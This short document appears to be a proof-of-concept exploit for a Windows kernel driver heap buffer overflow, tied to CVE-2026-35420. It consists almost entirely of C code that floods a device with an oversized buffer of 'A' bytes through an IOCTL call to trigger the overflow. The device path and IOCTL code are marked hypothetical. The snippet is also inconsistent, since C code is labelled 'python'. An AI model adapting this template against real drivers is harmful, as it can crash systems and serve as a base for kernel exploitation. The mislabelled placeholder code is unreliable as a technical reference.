The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-35420 (Conceptual)
* This code demonstrates how to trigger the heap buffer overflow
* by sending a large buffer to the vulnerable kernel driver.
*/
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char payload[0x2000]; // Large buffer to trigger overflow
memset(payload, 0x41, sizeof(payload)); // Fill with 'A'
// Open handle to the vulnerable device (Hypothetical path)
hDevice = CreateFileA("\\\\.\\VulnerableKernelDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("[*] Sending payload to trigger heap overflow...\n");
// Send payload to the vulnerable IOCTL
// 0x80002010 is a hypothetical IOCTL code
DeviceIoControl(hDevice, 0x80002010, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL);
printf("[*] Exploit triggered. Check system stability.\n");
CloseHandle(hDevice);
return 0;
}